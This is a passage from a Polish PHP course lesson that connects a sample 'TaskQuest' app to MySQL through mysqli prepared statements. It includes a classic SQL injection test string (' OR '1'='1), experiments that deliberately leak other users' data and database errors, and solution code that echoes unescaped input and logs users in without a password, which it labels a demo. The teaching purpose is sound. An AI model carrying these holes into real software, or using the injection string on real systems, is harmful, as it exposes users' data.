<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">string(1) "1"</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">int(1)</code>, a potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code>. Gdyby TaskQuest używał <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>, porównania <code class="prettyprint lang-sql" style="font-size: 0.85em;">===</code> z liczbami przestałyby działać, a obiekty dostawałyby teksty zamiast liczb (bez błędu — tryb domyślny typów z Lekcji 15 po cichu zamienia <code class="prettyprint lang-sql" style="font-size: 0.85em;">'1'</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code>). To jeszcze jeden powód, żeby w TaskQuest zawsze używać prepared statements.</p>



<h3 class="wp-block-heading">Eksperyment 3: literówka w zapytaniu</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> zmień w zapytaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytl</code> i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph">Oczekiwane: ramka „Nie udało się wczytać danych: Unknown column 'tytl&#8217; in 'field list&#8217;”. Programistę ten komunikat ratuje — od razu wiadomo, co poprawić. Ale użytkownik widzi nazwę kolumny, czyli fragment budowy bazy. Porównaj z komunikatem połączenia, który celowo ukryliśmy (Eksperyment 4). Na etapie nauki zostawiamy go widocznym; ukrywanie szczegółów przed użytkownikiem i zapis błędów do logu — Lekcja 22 i 23. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>.</strong></p>



<h3 class="wp-block-heading">Eksperyment 4: po co ukrywamy komunikat połączenia</h3>



<ol class="wp-block-list">
<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> ustaw <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_HASLO</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">'zlehaslo'</code>. Odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Oczekiwane: „Nie udało się połączyć z bazą danych.”</li>



<li>W <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code> tymczasowo zamień linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception('Nie udało się połączyć z bazą danych.');</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw $wyjatek;</code> (ponowne rzucenie oryginalnego wyjątku). Odśwież.<br />Oczekiwane: komunikat w rodzaju <code class="prettyprint lang-sql" style="font-size: 0.85em;">Access denied for user 'root'@'localhost' (using password: YES)</code> — <strong>w przeglądarce użytkownika</strong>: nazwa konta bazy i adres serwera.</li>



<li>Przywróć obie zmiany i sprawdź, że TaskQuest działa.</li>
</ol>



<h3 class="wp-block-heading">Eksperyment 5: filtr właściciela</h3>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadaniaUzytkownika()</code> usuń z zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code> <strong>oraz</strong> linię <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param(...)</code> (bez parametru nie ma czego podpinać). Zaloguj się jako Ola.</p>



<p class="wp-block-paragraph">Oczekiwane: Ola widzi zadania Kamy. To dokładnie problem z Lekcji 17 („Kuba i Ola widzą te same zadania”) — tylko że tym razem to nie ograniczenie CSV, lecz <strong>błąd w zapytaniu</strong>. Baza oddaje to, o co prosimy; pilnowanie, czyje dane pokazujemy, należy do nas. <strong>Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>.</strong></p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Poniżej wszystkie pliki, które zmieniły się w Lekcji 18. Pliki niewymienione są <strong>identyczne jak po Lekcji 17</strong> (w PHP: jak po Lekcji 15, wersja w <code class="prettyprint lang-sql" style="font-size: 0.85em;">15_TaskQuest.md</code>, sekcja 9; <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code> jak w <code class="prettyprint lang-sql" style="font-size: 0.85em;">17_TaskQuest.md</code>). Przy plikach, w których zmienia się tylko fragment, podany jest dokładny zakres zmiany.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> — dopisane na końcu</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// (L18) dane dostępowe do bazy danych — domyślne ustawienia XAMPP
define('BAZA_HOST', 'localhost');
define('BAZA_UZYTKOWNIK', 'root');
define('BAZA_HASLO', '');
define('BAZA_NAZWA', 'taskquest');</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_bazy.php</code> (nowy plik)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje TaskQuest korzystające z bazy danych (Lekcja 18).
// Wymagają wcześniejszego dołączenia config/config.php (stałe BAZA_...).
// Funkcje tworzące obiekty wymagają też classes/Zadanie.php i classes/Uzytkownik.php.

function polaczZBaza(): mysqli
{
    mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

    try {
        $polaczenie = new mysqli(BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA);
    } catch (Exception $wyjatek) {
        throw new Exception('Nie udało się połączyć z bazą danych.');
    }

    $polaczenie-&gt;set_charset('utf8mb4');

    return $polaczenie;
}

function wczytajZadaniaUzytkownika(mysqli $polaczenie, int $uzytkownikId): array
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, tytul, opis, termin, data_wykonania, xp FROM zadania WHERE uzytkownik_id = ? ORDER BY id'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wynik = $zapytanie-&gt;get_result();

    $zadania = &#91;];

    while ($wiersz = $wynik-&gt;fetch_assoc()) {
        $zadania&#91;] = new Zadanie(
            id: $wiersz&#91;'id'],
            tytul: $wiersz&#91;'tytul'],
            opis: $wiersz&#91;'opis'],
            termin: $wiersz&#91;'termin'],
            wykonane: $wiersz&#91;'data_wykonania'] !== null,
            xp: $wiersz&#91;'xp'],
        );
    }

    return $zadania;
}

function wczytajUzytkownika(mysqli $polaczenie, int $uzytkownikId): ?Uzytkownik
{
    $zapytanie = $polaczenie-&gt;prepare(
        'SELECT id, login, imie, xp, streak, data_ostatniej_aktywnosci FROM uzytkownicy WHERE id = ?'
    );
    $zapytanie-&gt;bind_param('i', $uzytkownikId);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return new Uzytkownik(
        id: $wiersz&#91;'id'],
        login: $wiersz&#91;'login'],
        imieUzytkownika: $wiersz&#91;'imie'],
        xp: $wiersz&#91;'xp'],
        streak: $wiersz&#91;'streak'],
        dataOstatniejAktywnosci: $wiersz&#91;'data_ostatniej_aktywnosci'],
    );
}

function znajdzIdUzytkownika(mysqli $polaczenie, string $login): ?int
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT id FROM uzytkownicy WHERE login = ?');
    $zapytanie-&gt;bind_param('s', $login);
    $zapytanie-&gt;execute();
    $wiersz = $zapytanie-&gt;get_result()-&gt;fetch_assoc();

    if ($wiersz === null) {
        return null;
    }

    return $wiersz&#91;'id'];
}

function pobierzRanking(mysqli $polaczenie, int $limit): array
{
    $zapytanie = $polaczenie-&gt;prepare('SELECT login, xp FROM uzytkownicy ORDER BY xp DESC, login LIMIT ?');
    $zapytanie-&gt;bind_param('i', $limit);
    $zapytanie-&gt;execute();

    return $zapytanie-&gt;get_result()-&gt;fetch_all(MYSQLI_ASSOC);
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Uzytkownik.php</code> — zmiany</h2>



<ul class="wp-block-list">
<li>nowa pierwsza właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">private int $id;</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">private ?string $dataOstatniejAktywnosci;</code> (było <code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code>),</li>



<li>konstruktor: <code class="prettyprint lang-sql" style="font-size: 0.85em;">__construct(int $id, string $login, string $imieUzytkownika, int $xp, int $streak, ?string $dataOstatniejAktywnosci)</code>, pierwsza linia ciała <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;id = $id;</code>,</li>



<li>nowa metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId(): int</code> (pod konstruktorem),</li>



<li>metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak(bool $zadanieWykonane): void</code> — na początku ciała <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($this-&gt;dataOstatniejAktywnosci === null) { return; }</code> (kod w kroku 4).</li>
</ul>



<p class="wp-block-paragraph">Pozostałe metody bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function czyZalogowany(): bool
{
    return isset($_SESSION&#91;'uzytkownik_id']);
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = 'Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.';
    }

    return $bledy;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — część PHP (cała, do dołączenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>)</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';
require_once __DIR__ . '/includes/funkcje_bazy.php';

if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}

$login = '';
$bledy = &#91;];
$bladBazy = null;

if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $bledy = walidujDaneLogowania($login);

    if ($bledy === &#91;]) {
        try {
            $polaczenie = polaczZBaza();
            $uzytkownikId = znajdzIdUzytkownika($polaczenie, $login);

            if ($uzytkownikId === null) {
                $bledy&#91;] = 'Nie ma użytkownika o takim loginie.';
            } else {
                session_regenerate_id(true);
                $_SESSION&#91;'uzytkownik_id'] = $uzytkownikId;
                ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
                header('Location: index.php');
                exit;
            }
        } catch (Exception $wyjatek) {
            $bladBazy = $wyjatek-&gt;getMessage();
        }
    }
}

$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';</code></pre>



<h2 class="wp-block-heading">część HTML (cała, od końca części PHP do końca pliku)</h2>



<p class="wp-block-paragraph">Wklej bezpośrednio pod linią <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/header.php';</code>. Obie części razem to cały plik `zaloguj.php</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;

&lt;h2&gt;Logowanie&lt;/h2&gt;
&lt;p&gt;Wersja demonstracyjna: podaj login konta zapisanego w bazie — bez hasła.&lt;/p&gt;

&lt;?php if ($bledy !== &#91;]) { ?&gt;
    &lt;div class="blad"&gt;
        &lt;p&gt;Popraw formularz:&lt;/p&gt;
        &lt;ul&gt;
            &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
            &lt;?php } ?&gt;
        &lt;/ul&gt;
    &lt;/div&gt;
&lt;?php } ?&gt;

&lt;?php if ($bladBazy !== null) { ?&gt;
    &lt;p class="blad"&gt;Nie udało się zalogować: &lt;?= $bladBazy; ?&gt;&lt;/p&gt;
&lt;?php } ?&gt;

&lt;form method="post" action="zaloguj.php"&gt;
    &lt;label for="login"&gt;Login&lt;/label&gt;
    &lt;input type="text" id="login" name="login" maxlength="20" required value="&lt;?= $login; ?&gt;"&gt;

    &lt;button type="submit"&gt;Wejdź do TaskQuest&lt;/button&gt;
&lt;/form&gt;

&lt;?php require_once __DIR__ . '/includes/footer.php'; ?&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — zmiany</h2>



<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code> zastąpione <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/includes/funkcje_bazy.php';</code>.</li>



<li>Bloki „dane użytkownika” (<code class="prettyprint lang-sql" style="font-size: 0.85em;">new Uzytkownik(...)</code> z wartościami symulowanymi) i „dane zadań” (<code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania(PLIK_ZADAN)</code>) zastąpione blokiem:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- dane z bazy: zalogowany użytkownik, jego zadania i ranking ---
$uzytkownik = null;
$zadania = &#91;];
$ranking = &#91;];
$bladBazy = null;

try {
    $polaczenie = polaczZBaza();
    $uzytkownik = wczytajUzytkownika($polaczenie, $_SESSION&#91;'uzytkownik_id']);

    if ($uzytkownik !== null) {
        $zadania = wczytajZadaniaUzytkownika($polaczenie, $uzytkownik-&gt;pobierzId());
        $ranking = pobierzRanking($polaczenie, 3);
    }
} catch (Exception $wyjatek) {
    $bladBazy = $wyjatek-&gt;getMessage();
}

// --- awaria bazy: bez danych gracza nie ma czego pokazać ---
if ($bladBazy !== null) {
    $nazwaStrony = 'TaskQuest';
    require_once __DIR__ . '/includes/header.php';
    echo "&lt;p class=\"blad\"&gt;Nie udało się wczytać danych: $bladBazy&lt;/p&gt;";
    require_once __DIR__ . '/includes/footer.php';
    exit;
}

// --- konto usunięte z bazy, a sesja jeszcze istnieje ---
if ($uzytkownik === null) {
    unset($_SESSION&#91;'uzytkownik_id']);
    header('Location: zaloguj.php');
    exit;
}</code></pre>



<ol start="3" class="wp-block-list">
<li>Wszystko od bloku wywołań (listy, liczniki, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code>, metody grywalizacji, streak) do komunikatu jednorazowego — bez zmian.</li>



<li>Prezentacja: usunięty link „+ Dodaj zadanie”, usunięte <code class="prettyprint lang-sql" style="font-size: 0.85em;">if ($bladZadan !== null) { ... } else {</code> wraz z zamknięciem (zawartość gałęzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code> zostaje), na końcu panelu dodana sekcja:</li>
</ol>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;h2&gt;Najlepsi gracze&lt;/h2&gt;
&lt;ol&gt;
    &lt;?php foreach ($ranking as $gracz) { ?&gt;
        &lt;li&gt;&lt;?= $gracz&#91;'login']; ?&gt; — &lt;?= $gracz&#91;'xp']; ?&gt; XP (poziom &lt;?= obliczPoziom($gracz&#91;'xp']); ?&gt;)&lt;/li&gt;
    &lt;?php } ?&gt;
&lt;/ol&gt;</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></h2>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code> dopisane <code class="prettyprint lang-sql" style="font-size: 0.85em;">'includes/funkcje_bazy.php'</code> (razem 19 ścieżek). Reszta bez zmian.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">        &lt;p&gt;TaskQuest 1.8&lt;/p&gt;
    &lt;/div&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre>
</details>



<h1 class="wp-block-heading">10. Co zmieniliśmy w TaskQuest?</h1>



<h3 class="wp-block-heading">Zostaje</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">klasa Zadanie (bez zmian), wszystkie funkcje listy, grywalizacji, terminów, walidujLogin(), wyczyscTytul(), skrocOpis()
index.php: liczniki, filtr widoku + cookie, pasek XP, komunikat jednorazowy, lista z .po-terminie
sesja, session_regenerate_id(), wyloguj.php, wymagajLogowania(), ustawKomunikat(), pobierzKomunikat()
baza taskquest i sql/taskquest.sql (bez zmian)
dodaj-zadanie.php, data/zadania.csv, wczytajZadania(), zapiszZadania(), sprawdzWierszZadania(), PLIK_ZADAN
    — zostają do Lekcji 19 (formularz nadal zapisuje do CSV; wyłączony z nawigacji)
$zadanieWykonane — nadal uproszczenie (prawdziwy streak w L19)</code></pre>



<h3 class="wp-block-heading">Dochodzi</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config.php:           BAZA_HOST, BAZA_UZYTKOWNIK, BAZA_HASLO, BAZA_NAZWA
includes/funkcje_bazy.php:
    polaczZBaza(): mysqli
    wczytajZadaniaUzytkownika(mysqli, int): array        — tablica obiektów Zadanie
    wczytajUzytkownika(mysqli, int): ?Uzytkownik
    znajdzIdUzytkownika(mysqli, string): ?int
    pobierzRanking(mysqli, int): array                   — wiersze &#91;'login', 'xp']
Uzytkownik: właściwość id, pobierzId()
$_SESSION&#91;'uzytkownik_id']
index.php: $bladBazy, $ranking, sekcja „Najlepsi gracze”
zaloguj.php: $bladBazy, $uzytkownikId</code></pre>



<p class="wp-block-paragraph">Nowe narzędzia: SQL <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT kolumny FROM ... WHERE ... AND ... IS NULL ... ORDER BY ... DESC ... LIMIT</code>; <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli_report()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">new mysqli(...)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">set_charset()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">query()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">prepare()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">execute()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">get_result()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_assoc()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">fetch_all(MYSQLI_ASSOC)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">num_rows</code>; typy <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?int</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">?Klasa</code>; pojęcie SQL injection.</p>



<h3 class="wp-block-heading">Zmieniamy</h3>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">dataOstatniejAktywnosci</code> typu <code class="prettyprint lang-sql" style="font-size: 0.85em;">?string</code>; konstruktor z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> na początku; <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktualizujStreak()</code> nic nie robi, gdy data to <code class="prettyprint lang-sql" style="font-size: 0.85em;">null</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyZalogowany()</code>: sprawdza <code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownik_id</code>,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code>: jeden parametr (login),</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>: login musi istnieć w bazie; formularz bez imienia,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: dane z bazy, obsługa awarii bazy i usuniętego konta, bez linku do formularza, ranking,</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: 19 plików; stopka <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.8</code>.</li>
</ul>



<h3 class="wp-block-heading">Usuwamy</h3>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co</th><th>Dlaczego</th></tr></thead><tbody><tr><td>wartości symulowane <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp: 99, streak: 5, dataOstatniejAktywnosci: '2026-09-14'</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>dane gracza są w bazie; te same wartości ma Kama w <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest.sql</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladZadan</code> i owinięcie sekcji zadań w <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>/<code class="prettyprint lang-sql" style="font-size: 0.85em;">else</code></td><td>awarię bazy obsługuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$bladBazy</code> dla całej strony</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['login']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION['imie']</code></td><td>kopie danych z bazy mogłyby się rozjechać; w sesji tylko identyfikator</td></tr><tr><td>pole „imię” w formularzu logowania i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$imieUzytkownika</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>imię jest w bazie; użytkownik nie „deklaruje” go przy logowaniu</td></tr><tr><td>reguły imienia w <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujDaneLogowania()</code></td><td>j.w.</td></tr><tr><td>dołączanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>strona główna nie czyta CSV</td></tr><tr><td>link „+ Dodaj zadanie” (tymczasowo)</td><td>formularz zapisuje do CSV — zadanie nie pojawiłoby się na liście; wraca w L19</td></tr></tbody></table></figure>



<h3 class="wp-block-heading">Co nowego potrafi TaskQuest po tej lekcji?</h3>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph">Po Lekcji 18 TaskQuest łączy się z bazą danych i czyta z niej wszystko, co pokazuje na stronie głównej. Logowanie sprawdza, czy konto istnieje. Każdy użytkownik widzi własne imię, XP, poziom, streak i wyłącznie własne zadania, a ranking pokazuje trzech najlepszych graczy. Wszystkie zapytania z danymi z zewnątrz są odporne na SQL injection dzięki prepared statements. Gdy baza nie działa, użytkownik dostaje czytelny komunikat zamiast błędu PHP.</p>
</blockquote>



<h1 class="wp-block-heading">11. Zadania końcowe — rozbuduj TaskQuest samodzielnie</h1>



<p class="wp-block-paragraph">Nie są częścią wersji referencyjnej.</p>



<p class="wp-block-paragraph"><strong>A. Wyszukiwarka zadań.</strong> Nad listą zadań formularz <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="get"</code> z polem <code class="prettyprint lang-sql" style="font-size: 0.85em;">szukaj</code>. Po wysłaniu lista pokazuje tylko zadania zalogowanego użytkownika, których tytuł zawiera wpisany tekst. Nowa funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">szukajZadanUzytkownika(mysqli $polaczenie, int $uzytkownikId, string $fraza): array</code> z warunkiem <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ? AND tytul LIKE ?</code>. Znaki <code class="prettyprint lang-sql" style="font-size: 0.85em;">%</code> wokół frazy dodaj w PHP <strong>przed</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">'%' . $fraza . '%'</code>), nie w tekście zapytania. Przetestuj frazy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHP</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">php</code> (czy wielkość liter ma znaczenie? dlaczego?), <code class="prettyprint lang-sql" style="font-size: 0.85em;">' OR '1'='1</code>, pusty tekst. Pytanie dodatkowe: co znajdzie fraza <code class="prettyprint lang-sql" style="font-size: 0.85em;">%</code>? Czy to błąd bezpieczeństwa, czy tylko niespodzianka?</p>



<p class="wp-block-paragraph"><strong>B. Statystyki liczone przez bazę.</strong> Jednym zapytaniem pobierz dla zalogowanego użytkownika liczbę aktywnych zadań i sumę ich XP: <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) AS liczba, SUM(xp) AS suma FROM zadania WHERE uzytkownik_id = ? AND data_wykonania IS NULL</code>. Wyświetl obok liczników z PHP i sprawdź, czy wyniki są równe <code class="prettyprint lang-sql" style="font-size: 0.85em;">$liczbaAktywnych</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xpDoZdobycia</code>. Co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">SUM(xp)</code>, gdy aktywnych zadań nie ma (zaloguj się jako użytkownik bez zadań z Testu 8)? Kiedy liczenie w bazie jest lepsze niż w PHP?</p>



<p class="wp-block-paragraph"><strong>C. Moje miejsce w rankingu.</strong> Pod rankingiem: „Twoje miejsce: N”. Podpowiedź: miejsce to liczba graczy z <strong>większym</strong> XP plus 1 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT COUNT(*) ... WHERE xp &gt; ?</code>). Dodatkowo wyróżnij (<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;strong&gt;</code>) wiersz zalogowanego użytkownika w rankingu. Jak potraktujesz dwóch graczy z równym XP?</p>



<h1 class="wp-block-heading">Sprzątanie</h1>



<ol class="wp-block-list">
<li>Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>.</li>



<li>Sprawdź, że przywrócone są: <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code> w zapytaniu, <code class="prettyprint lang-sql" style="font-size: 0.85em;">BAZA_HASLO</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">''</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">throw new Exception(...)</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">polaczZBaza()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">WHERE uzytkownik_id = ?</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">bind_param()</code> (Eksperymenty 3–5).</li>



<li>Uruchom ponownie <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>.</li>



<li>Zaloguj się jako Kama i jako Ola — Testy 1 i 2 mają przechodzić.</li>
</ol>



<h1 class="wp-block-heading">Do samodzielnego sprawdzenia</h1>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&#91; ] Nadal rozwijam ten sam projekt TaskQuest (nie zaczynam nowego).
&#91; ] Potrafię napisać SELECT z wybranymi kolumnami, WHERE, AND, IS NULL, ORDER BY i LIMIT.
&#91; ] Wiem, dlaczego WHERE data_wykonania = NULL zwraca zero wierszy.
&#91; ] Potrafię połączyć się z bazą obiektem mysqli i wiem, co robi mysqli_report(...STRICT).
&#91; ] Rozróżniam $polaczenie, $zapytanie, $wynik i $wiersz.
&#91; ] Potrafię pokazać na przykładzie, na czym polega SQL injection.
&#91; ] Potrafię napisać prepared statement z jednym i z dwoma parametrami (typy s, i).
&#91; ] Wiem, dlaczego z prepared statementu id przychodzi jako int, a z query() jako tekst.
&#91; ] Potrafię zamienić wiersz z bazy w obiekt Zadanie / Uzytkownik.
&#91; ] Wiem, co znaczy ?string i dlaczego Uzytkownik go potrzebuje.
&#91; ] Wiem, dlaczego w sesji jest tylko uzytkownik_id.
&#91; ] Kama i Ola widzą po zalogowaniu swoje dane; ranking działa.
